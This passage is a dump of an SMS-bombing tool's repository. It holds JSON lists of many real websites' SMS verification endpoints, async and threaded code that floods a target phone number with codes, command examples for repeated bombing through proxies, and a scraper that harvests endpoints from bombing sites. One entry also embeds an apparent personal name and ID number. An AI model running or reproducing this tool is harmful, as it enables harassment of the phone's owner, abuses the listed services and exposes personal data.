"永城至敏", 712 | "url": "http://101.132.126.166:8080/message/sendVerifyCode?callback=successCallback&mobilePhone=[phone]&t=1589625247333action_type=regist&mobile=[phone]", 713 | "method": "GET", 714 | "header": "", 715 | "data": "" 716 | }, 717 | { 718 | "desc": "金中网", 719 | "url": "https://jrh.financeun.com/Login/sendMessageCode3.html?mobile=[phone]&mbid=197858&check=3", 720 | "method": "GET", 721 | "header": "", 722 | "data": "" 723 | }, 724 | { 725 | "desc": "透明售房网(可能只能一次第二次会弹验证码)", 726 | "url": "http://www.tmsf.com/mem/WebMemLoginAction_saveMemMobileCodeImg.jspx?usermobile=[phone]&imagecode=", 727 | "method": "GET", 728 | "header": { 729 | "Referer": "http://www.tmsf.com/esf/esfnSearch_communityListUpgrade.htm", 730 | "X-Requested-With": "XMLHttpRequest" 731 | }, 732 | "data": "" 733 | }, 734 | { 735 | "desc": "巨人网络", 736 | "url": "https://reg.ztgame.com/common/sendmpcode?source=giant_site&nonce=&type=verifycode&token=&refurl=https%3A%2F%2Flogin.ztgame.com%2F&cururl=http%3A%2F%2Freg.ztgame.com%2F&phone=[phone]&mpcode=&pwd=&tname=&idcard=", 737 | "method": "GET", 738 | "header": { 739 | "Referer": "https://reg.ztgame.com/", 740 | "X-Requested-With": "XMLHttpRequest" 741 | }, 742 | "data": "" 743 | }, 744 | { 745 | "desc": "人人文库", 746 | "url": "https://www.renrendoc.com/Reg.aspx/GetUserSMSCode", 747 | "method": "POST", 748 | "header": { 749 | "Content-Type": "application/json; charset=UTF-8", 750 | "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36", 751 | "X-Requested-With": "XMLHttpRequest" 752 | }, 753 | "data": { 754 | "userMobile": "[phone]" 755 | } 756 | }, 757 | { 758 | "desc": "塞优教育", 759 | "url": "http://www.cuour.org/edu_cloud/sms_send", 760 | "method": "POST", 761 | "header": { 762 | "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", 763 | "Cookie": "PHPSESSID=20pi9ugtg1tboucsjcc8ute6t9", 764 | "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36", 765 | "X-CSRF-Token": "7--b2sxDUBm-Jd2yf_5KYrf7Hw2w_M6BDhSJq-H2GjY", 766 | "X-Requested-With": "XMLHttpRequest" 767 | }, 768 | "data": { 769 | "to": "[phone]", 770 | "sms_type": "sms_registration" 771 | } 772 | }, 773 | { 774 | "desc": "慧联天下", 775 | "url": "https://www.dtb315.com/home/public/skip_identify_code", 776 | "method": "POST", 777 | "header": { 778 | "content-type": "application/x-www-form-urlencoded; charset=UTF-8", 779 | "user-agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36", 780 | "x-requested-with": "XMLHttpRequest" 781 | }, 782 | "data": { 783 | "phone": "[phone]", 784 | "country_num": "[name='country_num']", 785 | "type": "0" 786 | } 787 | } 788 | ] 789 | -------------------------------------------------------------------------------- /api_check.py: -------------------------------------------------------------------------------- 1 | from smsboom import load_json 2 | import httpx 3 | import json 4 | 5 | def api_json_check(): 6 | """ 7 | 用于测试api.json文件的接口 8 | """ 9 | api_json_file = load_json() 10 | for i in api_json_file: 11 | data = i.handle_API('15259840022') # 接码平台的号码 无所谓 12 | try: 13 | with httpx.Client(verify=False) as client: 14 | if data.method == 'POST': 15 | res = client.post(url=data.url, headers=data.header, data=data.data) 16 | else: 17 | res = client.get(url=data.url, headers=data.header, params=data.data) 18 | text = res.text.replace("\n", "") 19 | if r'\u' in res.text: 20 | text = text.encode('utf-8').decode('unicode_escape') 21 | print(f'名称:{data.desc},接口状态:{res.status_code},接口内容:{text}') 22 | except Exception as e: 23 | print(f'名称:{data.desc},接口链接:{data.url},接口报错信息:{e}') 24 | 25 | 26 | def check_url(): 27 | """ 28 | 懒人测试单链接 因为懒得开接口 29 | F12看到接口之后右键复制curl格式复制 30 | 在此网站可以一键格式化成请求代码 https://curlconverter.com/ 31 | 然后 将import requests删除 requests.get 改为httpx即可 这两个请求库代码几乎兼容 32 | """ 33 | cookies = { 34 | 'ASP.NET_SessionId': 'ctmgege3wvxlesdsansqvski', 35 | } 36 | 37 | headers = { 38 | 'Accept': 'application/json, text/javascript, */*; q=0.01', 39 | 'Accept-Language': 'zh-CN,zh;q=0.9', 40 | 'Cache-Control': 'no-cache', 41 | 'Connection': 'keep-alive', 42 | # 'Cookie': 'ASP.NET_SessionId=ctmgege3wvxlesdsansqvski', 43 | 'Pragma': 'no-cache', 44 | 'Referer': 'http://www.cnppump.ltd/Register/RegisterByTel.aspx', 45 | 'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36', 46 | 'X-Requested-With': 'XMLHttpRequest', 47 | } 48 | 49 | params = { 50 | 'cmd': 'GetTelVerifyCode4Regit2', 51 | 'Tel': 'xxxxxx', 52 | 'SoftType': 'Web', 53 | '_': 'xxxxx', 54 | } 55 | 56 | response = httpx.get( 57 | 'http://www.cnppump.ltd/Service/UserHandler.ashx', 58 | params=params, 59 | cookies=cookies, 60 | headers=headers, 61 | verify=False, 62 | ) 63 | print(response.text) 64 | 65 | 66 | if __name__ == '__main__': 67 | """ 68 | 用于快速测试接口状态 69 | """ 70 | api_json_check() 71 | # check_url() 72 | -------------------------------------------------------------------------------- /api_problem.json: -------------------------------------------------------------------------------- 1 | [ 2 | { 3 | "desc": "广东高考报名web", 4 | "url": "https://pg.eeagd.edu.cn/ks/public/kszc/zcyzm.jsmeb", 5 | "method": "POST", 6 | "header": "", 7 | "data": "[phone]", 8 | "web_url": "https://pg.eeagd.edu.cn/ks/reg/#/", 9 | "problem": "发送短信所需内容涉及个人隐私" 10 | }, 11 | { 12 | "desc": "广东教育翔云", 13 | "url": "https://gl.gdedu.gov.cn/api-service/captcha?phoneNumber=[phone]&captchaType=QUERY_ADMIN", 14 | "method": "GET", 15 | "header": "", 16 | "data": "", 17 | "web_url": "https://gl.gdedu.gov.cn/api-service/jumpIndex", 18 | "problem": "有验证码保护,有空再写识别验证码请求的逻辑" 19 | }, 20 | { 21 | "desc": "蒲公英", 22 | "url": "https://id.pgyer.com/user/getRegisterCode", 23 | "method": "POST", 24 | "header": "", 25 | "data": { 26 | "tel": "[phone]", 27 | "callingCode": "86", 28 | "mode": "tel" 29 | }, 30 | "web_url": "https://id.pgyer.com/user/login?mode=tel&bind=", 31 | "problem": "有滑块验证码" 32 | }, 33 | { 34 | "desc": "云背篓", 35 | "url": "https://brand.yunbeilou.com/index.php/smssend", 36 | "method": "POST", 37 | "header": "", 38 | "data": { 39 | "phone": "[phone]", 40 | "v": "yes" 41 | }, 42 | "problem": "该网站已取消短信功能" 43 | } 44 | ] -------------------------------------------------------------------------------- /celery-client.py: -------------------------------------------------------------------------------- 1 | from celery_server.tasks import asyncRun 2 | 3 | # r = test.delay(1,2) 4 | # r2 = test.delay(1,2) 5 | 6 | r = asyncRun.delay("13809213237") 7 | print(r.get()) 8 | -------------------------------------------------------------------------------- /celery_server/README.MD: -------------------------------------------------------------------------------- 1 | # Celery 异步服务器后端模块 2 | 3 | ## 部署 4 | ```shell 5 | pip install celery gevent -i https://pypi.doubanio.com/simple/ 6 | celery -A celery_server worker -l info --pool=eventlet 7 | ``` 8 | 需要在 celery 5.0 中才能使用 async 9 | -------------------------------------------------------------------------------- /celery_server/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/fslyg/gj/a451c3195cdf44bce10edb42a218c99b0bb814e7/celery_server/__init__.py -------------------------------------------------------------------------------- /celery_server/celery.py: -------------------------------------------------------------------------------- 1 | from celery import Celery 2 | from celery.utils.log import get_task_logger 3 | 4 | app = Celery( 5 | 'celery_server', 6 | include=[ 7 | 'celery_server.tasks' 8 | ] 9 | ) 10 | app.config_from_object( 11 | 'celery_server.config', 12 | ) 13 | 14 | logger = get_task_logger(__name__) 15 | 16 | if __name__ == '__main__': 17 | app.start() -------------------------------------------------------------------------------- /celery_server/config.py: -------------------------------------------------------------------------------- 1 | #broker(消息中间件来接收和发送任务消息) 2 | BROKER_URL = 'redis://localhost:6379/1' 3 | #backend(存储worker执行的结果) 4 | CELERY_RESULT_BACKEND = 'redis://localhost:6379/2' 5 | 6 | #设置时间参照,不设置默认使用的UTC时间 7 | CELERY_TIMEZONE = 'Asia/Shanghai' 8 | #指定任务的序列化 9 | CELERY_TASK_SERIALIZER='json' 10 | #指定执行结果的序列化 11 | CELERY_RESULT_SERIALIZER='json' -------------------------------------------------------------------------------- /celery_server/tasks.py: -------------------------------------------------------------------------------- 1 | from .celery import app 2 | from .celery import logger 3 | import time 4 | 5 | @app.task 6 | def test(x, y): 7 | logger.info("开始执行 test() 方法") 8 | time.sleep(5) 9 | logger.info("test() 方法执行成功") -------------------------------------------------------------------------------- /celery_server/utils.py: -------------------------------------------------------------------------------- 1 | # encoding=utf8 2 | # 请求的方法 3 | from smsboom import load_getapi, load_json 4 | from utils.log import logger 5 | from utils.models import API 6 | from utils import default_header_user_agent 7 | import httpx 8 | from httpx import Limits 9 | from typing import Union, List 10 | import asyncio 11 | 12 | import sys 13 | sys.path.append("E:\coding\SMSBoom") 14 | 15 | 16 | def reqAPI(api: API, client: httpx.AsyncClient): 17 | if isinstance(api.data, dict): 18 | resp = client.request(method=api.method, json=api.data, 19 | headers=api.header, url=api.url, timeout=10) 20 | else: 21 | resp = client.request(method=api.method, data=api.data, 22 | headers=api.header, url=api.url, timeout=10) 23 | return resp 24 | 25 | 26 | async def asyncReqs(src: Union[API, str], phone: Union[tuple, str], semaphore): 27 | """异步请求方法 28 | :param: 29 | :return: 30 | """ 31 | # 多手机号支持 32 | if isinstance(phone, tuple): 33 | phone_lst = [_ for _ in phone] 34 | else: 35 | phone_lst = [phone] 36 | async with semaphore: 37 | async with httpx.AsyncClient( 38 | limits=Limits(max_connections=1000, 39 | max_keepalive_connections=2000), 40 | headers=default_header_user_agent(), 41 | verify=False, 42 | timeout=99999 43 | ) as c: 44 | 45 | for ph in phone_lst: 46 | try: 47 | if isinstance(src, API): 48 | src = src.handle_API(ph) 49 | r = await reqAPI(src, c) 50 | else: 51 | # 利用元组传参安全因为元组不可修改 52 | s = (src.replace(" ", "").replace("\n", "").replace("\t", "").replace( 53 | "&", "").replace('\n', '').replace('\r', ''),) 54 | r = await c.get(*s) 55 | return r 56 | except httpx.HTTPError as why: 57 | # logger.error(f"异步请求失败{type(why)}") 58 | pass 59 | except TypeError: 60 | # logger.error("类型错误") 61 | pass 62 | except Exception as wy: 63 | # logger.exception(f"异步失败{wy}") 64 | pass 65 | 66 | def callback(result): 67 | """异步回调函数""" 68 | log = result.result() 69 | if log is not None: 70 | # logger.info(f"请求结果:{log.text[:30]}") 71 | print(log.text[:30]) 72 | pass 73 | 74 | 75 | async def runAsync(apis: List[Union[API, str]], phone: Union[tuple, str]): 76 | 77 | tasks = [] 78 | 79 | for api in apis: 80 | semaphore = asyncio.Semaphore(999999) 81 | task = asyncio.create_task(asyncReqs(api, phone, semaphore)) 82 | task.add_done_callback(callback) 83 | tasks.append(task) 84 | 85 | await asyncio.gather( 86 | *tasks 87 | ) 88 | -------------------------------------------------------------------------------- /command: -------------------------------------------------------------------------------- 1 | 2 | cd SMSBoom 3 | cd.. 4 | cd /d D: 5 | 6 | ctrl+C 终止 7 | 8 | 单线程调用: 9 | 10 | python smsboom.py oneRun -p 15274777477 11 | 12 | 多线程调用: 13 | python smsboom.py run -t 64 -p 15274777477 14 | 15 | 16 | 协程调用: 17 | python smsboom.py asyncRun -p 15274777477 18 | 19 | 20 | 命令示例 21 | 启动64个线程,轰//炸一个人的手机号(198xxxxxxxx),只轰//炸一波。 22 | python smsboom.py run -t 64 -p 15274777477 23 | 24 | 25 | 启动64个线程,轰//炸一个人的手机号(198xxxxxxxx),启动循环轰//炸, 轮番轰//炸60次 26 | python smsboom.py run -t 64 -p 15274777477 -f 60 27 | 28 | 29 | 启动64个线程,轰//炸一个人的手机号(198xxxxxxxx),启动循环轰//炸, 轮番轰//炸60次, 每次间隔30秒 30 | python smsboom.py run -t 64 -p 15274777477 -f 60 -i 30 31 | 32 | 33 | 启动64个线程,轰//炸一个人的手机号(198xxxxxxxx),启动循环轰//炸, 轮番轰//炸60次, 每次间隔30秒, 开启代理列表进行轰炸 34 | python smsboom.py run -t 64 -p 15274777477 -f 60 -i 30 -e 35 | 36 | 37 | 启动64个线程,轰//炸多个人的手机号(198xxxxxxxx,199xxxxxxxx),启动循环轰//炸, 轮番轰炸60次, 每次间隔30秒, 开启代理列表进行轰炸 38 | python smsboom.py run -t 64 -p 18229854366 -p 199xxxxxxxx -f 60 -i 30 -e 39 | -------------------------------------------------------------------------------- /debug/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/fslyg/gj/a451c3195cdf44bce10edb42a218c99b0bb814e7/debug/__init__.py -------------------------------------------------------------------------------- /debug/api.db: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/fslyg/gj/a451c3195cdf44bce10edb42a218c99b0bb814e7/debug/api.db -------------------------------------------------------------------------------- /debug/api_tou.json: -------------------------------------------------------------------------------- 1 | [ 2 | { 3 | "desc": "迪卡侬", 4 | "url": "https://www.decathlon.com.cn/zh/ajax/rest/model/atg/userprofiling/ProfileActor/send-mobile-verification-code", 5 | "method": "POST", 6 | "header": "", 7 | "data": { 8 | "countryCode": "CN", 9 | "mobile": "[phone]" 10 | } 11 | }, 12 | { 13 | "desc": "股海网", 14 | "url": "https://www.guhai.com.cn/front/member/sendSmsCode", 15 | "method": "POST", 16 | "header": "", 17 | "data": { 18 | "mobile": "[phone]" 19 | } 20 | }, 21 | { 22 | "desc": "LLL的个人blog", 23 | "url": "http://www.lll.plus/sendCode/", 24 | "method": "POST", 25 | "header": "", 26 | "data": { 27 | "tel": "[phone]", 28 | "forgetPwd": "" 29 | } 30 | }, 31 | { 32 | "desc": "企米子", 33 | "url": "https://www.xcxui.com/index/register/getcode.html", 34 | "method": "POST", 35 | "header": "", 36 | "data": { 37 | "tel": "[phone]" 38 | } 39 | }, 40 | { 41 | "desc": "蒲公英", 42 | "url": "https://id.pgyer.com/user/getRegisterCode", 43 | "method": "POST", 44 | "header": "", 45 | "data": { 46 | "tel": "[phone]", 47 | "callingCode": "86", 48 | "mode": "tel" 49 | } 50 | }, 51 | { 52 | "desc": "百卓优采", 53 | "url": "https://erp.abiz.com/mobilecode/sendMobileCode", 54 | "method": "POST", 55 | "header": "", 56 | "data": { 57 | "mobile": "[phone]", 58 | "captcha": "" 59 | } 60 | }, 61 | { 62 | "desc": "云背篓", 63 | "url": "https://brand.yunbeilou.com/index.php/smssend", 64 | "method": "POST", 65 | "header": "", 66 | "data": { 67 | "phone": "[phone]", 68 | "v": "yes" 69 | } 70 | }, 71 | { 72 | "desc": "PHP中文网", 73 | "url": "https://m.php.cn/account/phone_code.html", 74 | "method": "POST", 75 | "header": "", 76 | "data": { 77 | "phone": "[phone]" 78 | } 79 | }, 80 | { 81 | "desc": "12321", 82 | "url": "http://dhba.12321.cn/api/verifycode", 83 | "method": "POST", 84 | "header": "", 85 | "data": { 86 | "phone": "[phone]" 87 | } 88 | }, 89 | { 90 | "desc": "Testin众测", 91 | "url": "https://www.ztestin.com/users/send/vercode", 92 | "method": "POST", 93 | "header": "", 94 | "data": { 95 | "phone": "[phone]", 96 | "type": "register", 97 | "voice": "0" 98 | } 99 | }, 100 | { 101 | "desc": "海尔", 102 | "url": "http://maker.haier.net/client/user/sendregistervcode.html", 103 | "method": "POST", 104 | "header": "", 105 | "data": { 106 | "account": "[phone]" 107 | } 108 | }, 109 | { 110 | "desc": "飞猫云", 111 | "url": "https://www.feimaoyun.com/index.php/invite/h5sendmsg", 112 | "method": "POST", 113 | "header": "", 114 | "data": { 115 | "pcode": "+86", 116 | "phone": "[phone]" 117 | } 118 | }, 119 | { 120 | "desc": "华觉数字化平台", 121 | "url": "https://end.huajuetech.com/api/sendCode", 122 | "method": "POST", 123 | "header": "", 124 | "data": { 125 | "mobile": "[phone]", 126 | "email": "null", 127 | "verfy_method": "mobile" 128 | } 129 | }, 130 | { 131 | "desc": "问政江西", 132 | "url": "https://wenz.jxnews.com.cn/ms/index.php/Home/User/get_yzm", 133 | "method": "POST", 134 | "header": "", 135 | "data": { 136 | "phone": "[phone]" 137 | } 138 | }, 139 | { 140 | "desc": "河南智慧党建", 141 | "url": "http://api.hndyjyfw.gov.cn/djapi/mobileVerify", 142 | "method": "POST", 143 | "header": "", 144 | "data": { 145 | "phone": "[phone]", 146 | "verifytype": "1" 147 | } 148 | }, 149 | { 150 | "desc": "陆陆陆云安全", 151 | "url": "https://cloud.666idc.com/index/login/sendsms.html", 152 | "method": "POST", 153 | "header": "", 154 | "data": { 155 | "mobile": "[phone]", 156 | "mobile_pre": "86" 157 | } 158 | }, 159 | { 160 | "desc": "网易", 161 | "url": "https://dz.blizzard.cn/action/user/mobile/captcha", 162 | "method": "POST", 163 | "header": "", 164 | "data": { 165 | "mobile": "[phone]" 166 | } 167 | }, 168 | { 169 | "desc": "码云社", 170 | "url": "https://www.codeseeding.com/loginUser/toSend", 171 | "method": "POST", 172 | "header": "", 173 | "data": { 174 | "phone": "[phone]" 175 | } 176 | }, 177 | { 178 | "desc": "人才山东", 179 | "url": "http://sso.rcsd.cn/regist/getVerifyCode", 180 | "method": "POST", 181 | "header": "", 182 | "data": { 183 | "personcall": "[phone]" 184 | } 185 | }, 186 | { 187 | "desc": "水利部", 188 | "url": "http://sso.mwr.cn/suserRegister/verifyAccountAndphone.action", 189 | "method": "POST", 190 | "header": "", 191 | "data": { 192 | "mobile": "[phone]" 193 | } 194 | }, 195 | { 196 | "desc": "七联大学", 197 | "url": "http://ut7.whu.edu.cn/Home/studentCommon/Student_getVerifyCode", 198 | "method": "POST", 199 | "header": "", 200 | "data": { 201 | "phoneNumber": "[phone]", 202 | "sendType": "0" 203 | } 204 | }, 205 | { 206 | "desc": "闪德资讯", 207 | "url": "https://www.0101ssd.com/user/sendmsg", 208 | "method": "POST", 209 | "header": "", 210 | "data": { 211 | "mobile": "[phone]", 212 | "event": "register" 213 | } 214 | }, 215 | { 216 | "desc": "江苏省名师空中课堂", 217 | "url": "https://mskzkt.jse.edu.cn/baseApi/user/code/", 218 | "method": "POST", 219 | "header": "", 220 | "data": { 221 | "mobile": "[phone]", 222 | "type": "1" 223 | } 224 | }, 225 | { 226 | "desc": "CSFF短片", 227 | "url": "https://csff.cutv.com/wapi/users/sendregcode", 228 | "method": "POST", 229 | "header": "", 230 | "data": { 231 | "telphone": "[phone]" 232 | } 233 | }, 234 | { 235 | "desc": "广西人社厅", 236 | "url": "http://rswb.gx12333.net/member/getRegisterphoneCode.jspx", 237 | "method": "POST", 238 | "header": "", 239 | "data": { 240 | "aae005": "[phone]", 241 | "aac003": "刘萌萌", 242 | "aac002": "210212198506035924", 243 | "notkeyflag": "1" 244 | } 245 | }, 246 | { 247 | "desc": "麦克赛尔数字映像", 248 | "url": "https://www.maxell-dm.cn/Code/CheckImage.aspx", 249 | "method": "POST", 250 | "header": "", 251 | "data": { 252 | "action": "send", 253 | "txtMember_Name": "[phone]" 254 | } 255 | }, 256 | { 257 | "desc": "宝提分", 258 | "url": "http://main.jiajiaozaixian.com//reginfo/sendRankByMobileReginfo.action", 259 | "method": "POST", 260 | "header": "", 261 | "data": { 262 | "mobile": "[phone]" 263 | } 264 | }, 265 | { 266 | "desc": "选型系统", 267 | "url": "http://www.cnppump.ltd/Service/UserHandler.ashx", 268 | "method": "GET", 269 | "header": "", 270 | "data": { 271 | "cmd": "GetTelVerifyCode", 272 | "Tel": "[phone]" 273 | } 274 | }, 275 | { 276 | "desc": "千里马网信科技", 277 | "url": "http://vip.qianlima.com/rest/u/api/user/register/mobile/code", 278 | "method": "POST", 279 | "header": "", 280 | "data": { 281 | "tips": "1", 282 | "shouji": "[phone]" 283 | } 284 | }, 285 | { 286 | "desc": "保定云", 287 | "url": "https://baodingyun.com.cn/register/send_registerSMS.html", 288 | "method": "POST", 289 | "header": "", 290 | "data": { 291 | "phone": "[phone]" 292 | } 293 | }, 294 | { 295 | "desc": "欢动游戏", 296 | "url": "http://www.gm5.com/auth/registerSms.html", 297 | "method": "POST", 298 | "header": "", 299 | "data": { 300 | "mobile": "[phone]" 301 | } 302 | }, 303 | { 304 | "desc": "迈威", 305 | "url": "https://www.maiwe.com.cn/index/sendcode.html", 306 | "method": "GET", 307 | "header": "", 308 | "data": { 309 | "tel": "[phone]" 310 | } 311 | }, 312 | { 313 | "desc": "憨鼠社区", 314 | "url": "https://www.dehua.net/include/ajax.php?service=siteConfig&action=getphoneVerify&type=signup&phone=[phone]&areaCode=86", 315 | "method": "GET", 316 | "header": "", 317 | "data": {} 318 | }, 319 | { 320 | "desc": "天鹅到家", 321 | "url": "https://user.daojia.com/mobile/getcode?mobile=[phone]&newVersion=1&bu=112", 322 | "method": "GET", 323 | "header": "", 324 | "data": {} 325 | }, 326 | { 327 | "desc": "诺达筑工", 328 | "url": "http://ks.ndzhugong.com/getVerificationCode?phone=[phone]&password=&smscode=", 329 | "method": "GET", 330 | "header": "", 331 | "data": {} 332 | }, 333 | { 334 | "desc": "栋才智慧", 335 | "url": "http://211.149.170.226:8201/dczp-cloud-client/rrs/user/sendSms?[phone]&[phone]&smsMode=2", 336 | "method": "GET", 337 | "header": "", 338 | "data": {} 339 | }, 340 | { 341 | "desc": "工伤预防网上培训平台", 342 | "url": "http://wf.zhuanjipx.com:8084//api-user/zjUsersPersonal/getSmsCode?mobile=[phone]&mobileCodeId=a87c9338-43a1-66ea-8ce7-1b1ac7c39d69", 343 | "method": "GET", 344 | "header": "", 345 | "data": {} 346 | }, 347 | { 348 | "desc": "济宁专技", 349 | "url": "https://sdjn-web.yxlearning.com/sendphoneCode.gson", 350 | "method": "POST", 351 | "header": "", 352 | "data": { 353 | "phone": "[phone]", 354 | "sendType": "4" 355 | } 356 | }, 357 | { 358 | "desc": "宁夏伊地地质工程有限公司", 359 | "url": "http://www.yddzgc.com/bid-app/api/sys/code?phone=[phone]&type=1", 360 | "method": "GET", 361 | "header": "", 362 | "data": {} 363 | }, 364 | { 365 | "desc": "青春大学说", 366 | "url": "http://zycp.qcdxs.com:5001/sms/sendsms", 367 | "method": "POST", 368 | "header": "", 369 | "data": { 370 | "phone_number": "[phone]" 371 | } 372 | }, 373 | { 374 | "desc": "兴业利达电子招投标平台", 375 | "url": "https://api.gzxyld.cn/HuiEbid/HuiEbidServer/doSendSms/getSms", 376 | "method": "POST", 377 | "header": "", 378 | "data": { 379 | "username": "[phone]", 380 | "type": "regUser", 381 | "mobile": "PC" 382 | } 383 | }, 384 | { 385 | "desc": "火象", 386 | "url": "https://v1.alphazone-data.cn/academy/api/v1/sendsms", 387 | "method": "POST", 388 | "header": "", 389 | "data": { 390 | "temp": "1", 391 | "phone": "[phone]" 392 | } 393 | }, 394 | { 395 | "desc": "中科教育", 396 | "url": "https://www.vipexam.cn/user/identifyingCode.action", 397 | "method": "POST", 398 | "header": "", 399 | "data": { 400 | "phone": "[phone]" 401 | } 402 | }, 403 | { 404 | "desc": "聚题库", 405 | "url": "https://uc.csdhe.com/v1/sms/send?mobile=[phone]&apptype=examWeb", 406 | "method": "GET", 407 | "header": "", 408 | "data": {} 409 | }, 410 | { 411 | "desc": "苏州高新区教育局", 412 | "url": "https://jssnd.edu.cn/apiu/v1/register/auth", 413 | "method": "POST", 414 | "header": "", 415 | "data": { 416 | "phone": "[phone]" 417 | } 418 | }, 419 | { 420 | "desc": "专业技术人员继续教育平台", 421 | "url": "http://zhuanjipx.com:8082//api-user/zjUsersPersonal/getSmsCode?mobile=[phone]&mobileCodeId=685110c6-cef4-bb01-8f4d-19ea89f4d3f8", 422 | "method": "GET", 423 | "header": "", 424 | "data": {} 425 | }, 426 | { 427 | "desc": "泰安专技", 428 | "url": "https://sdta-web.yxlearning.com/sendphoneCode.gson", 429 | "method": "POST", 430 | "header": "", 431 | "data": { 432 | "phone": "[phone]", 433 | "sendType": "4" 434 | } 435 | }, 436 | { 437 | "desc": "志睿择", 438 | "url": "https://www.vipexam.cn/user/identifyingCode.action", 439 | "method": "POST", 440 | "header": "", 441 | "data": { 442 | "phone": "[phone]" 443 | } 444 | }, 445 | { 446 | "desc": "漏洞银行", 447 | "url": "https://www.bugbank.cn/api/verifymobile", 448 | "method": "POST", 449 | "header": "", 450 | "data": { 451 | "mobile": "[phone]" 452 | } 453 | }, 454 | { 455 | "desc": "中国劳动保障新闻网", 456 | "url": "https://www.clssn.com/jhxtapi/web/Login/sendSmsCode", 457 | "method": "POST", 458 | "header": "", 459 | "data": { 460 | "mobile": "[phone]" 461 | } 462 | }, 463 | { 464 | "desc": "广东省心理学会", 465 | "url": "http://gpa-gd.scnu.edu.cn/member/index/public_send_code.html", 466 | "method": "POST", 467 | "header": "", 468 | "data": { 469 | "phone": "[phone]" 470 | } 471 | }, 472 | { 473 | "desc": "费耘网", 474 | "url": "https://www.feeclouds.com/homepage/register/send", 475 | "method": "POST", 476 | "header": "", 477 | "data": { 478 | "mobile": "[phone]" 479 | } 480 | } 481 | ] -------------------------------------------------------------------------------- /debug/hz-web.json: -------------------------------------------------------------------------------- 1 | [ 2 | { 3 | "url": "https://duanxin.97sq.com/", 4 | "key": "", 5 | "title": "在线短信测压 97社区短信测压" 6 | }, 7 | { 8 | "url": "https://www.yxdhma.cn/", 9 | "key": "", 10 | "title": "大树免费短信测压" 11 | }, 12 | { 13 | "url": "http://107.173.149.61/index.php", 14 | "key": "", 15 | "title": "在线短信测压 智云短信轰炸" 16 | }, 17 | { 18 | "url": "http://www.ono.plus/iaJIR00a0sqf/index.php", 19 | "key": "", 20 | "title": "在线短信测压" 21 | }, 22 | { 23 | "url": "http://91zn.top/ylcs/", 24 | "key": "", 25 | "title": "免费短信测压" 26 | }, 27 | { 28 | "url": "http://103.45.122.14/index.php", 29 | "key": "", 30 | "title": "Hello短信测压" 31 | }, 32 | { 33 | "url": "https://ialtone.xyz/message/index.php", 34 | "key": "", 35 | "title": "ialtone的短信测压站" 36 | }, 37 | { 38 | "url": "http://lzc.muigs.xyz/index2.php?", 39 | "key": "", 40 | "title": "短信测压-冷之晨" 41 | }, 42 | { 43 | "url": "http://101.132.154.124:1200/index.php", 44 | "key": "", 45 | "title": "在线短信测压轰炸" 46 | }, 47 | { 48 | "url": "https://ceya.kpxdr.com/index.php", 49 | "key": "", 50 | "title": "在线短信测压—云端轰炸" 51 | }, 52 | { 53 | "url": "https://128.14.239.248/index.php", 54 | "key": "", 55 | "title": "在线短信测压 秋思短信轰炸" 56 | }, 57 | { 58 | "url": "http://101.43.16.51:665/index.php", 59 | "key": "", 60 | "title": "" 61 | } 62 | ] -------------------------------------------------------------------------------- /debug/spider-api.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python python3 2 | # coding=utf-8 3 | # 爬取轰炸平台接口 4 | from loguru import logger 5 | import httpx 6 | import requests 7 | import re 8 | from utils import Sql 9 | import queue 10 | import pathlib 11 | import threading 12 | import sys 13 | import json 14 | from prettytable import PrettyTable 15 | import click 16 | import urllib3 17 | urllib3.disable_warnings() 18 | 19 | # logger config 20 | logger.remove() 21 | logger.add( 22 | sink=sys.stdout, 23 | format="{time:YYYY-MM-DD at HH:mm:ss} - {level} - {message}", 24 | colorize=True, 25 | backtrace=True 26 | ) 27 | 28 | 29 | path = pathlib.Path(__file__).parent 30 | header = { 31 | "User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.9 Safari/537.36", 32 | } 33 | 34 | 35 | class SMS(object): 36 | # 默认的请求密钥 37 | default_phone = "15019682928" 38 | key_default = f"?hm={default_phone}&ok=" 39 | 40 | def __init__(self, website, key) -> None: 41 | self.url = website 42 | self.header = header 43 | if key == "": 44 | self.key = self.key_default 45 | self.api_queue = queue.Queue() 46 | self.db = Sql() 47 | self.lock = threading.Lock() 48 | self.ok_api = 0 49 | 50 | def get_sms_api(self): 51 | '''请求短信轰炸平台''' 52 | with httpx.Client(verify=False) as ses: 53 | ses.get(self.url, headers=self.header) 54 | resp = ses.get(f"{self.url}{self.key}", headers=self.header) 55 | 56 | pat = re.compile(r" tuple: 121 | """check api web is ok? 122 | :return: tuple 123 | """ 124 | if url is None: 125 | return 126 | with httpx.Client(headers=header, verify=False) as client: 127 | try: 128 | resp = client.get(url=url).text 129 | title = re.findall('(.*?)', resp) 130 | if title: 131 | logger.info(f"{url} title:{title[0]}") 132 | return (title[0], url) 133 | except httpx.HTTPError as why: 134 | logger.error(f"{url} 请求错误! {why}") 135 | 136 | return 137 | 138 | 139 | def load_api_web(): 140 | """从 json 文件加载轰炸网址.并测试! 141 | :return: 142 | """ 143 | json_path = pathlib.Path(path, 'hz-web.json') 144 | table = PrettyTable(["标题", "链接"]) 145 | if not json_path.exists(): 146 | logger.error(f"hz-web.json not exists in {str(json_path)}!") 147 | return 148 | j = json_path.read_text(encoding="utf8") 149 | ok_web = [] 150 | try: 151 | webs = json.loads(j) 152 | except json.decoder.JSONDecodeError as why: 153 | logger.error(f"json syctax error! {why}") 154 | return 155 | 156 | for web in webs: 157 | result = test_api_web(web['url']) 158 | if result: 159 | table.add_row([result[0], result[1]]) 160 | ok_web.append( 161 | {"url": result[1], "key": web.get('key'), "title": result[0]}) 162 | 163 | logger.success(f"有效的轰炸网站:\n{table}") 164 | if input(">>是否写入 hz-web.json?(Y/n)") == "Y": 165 | with 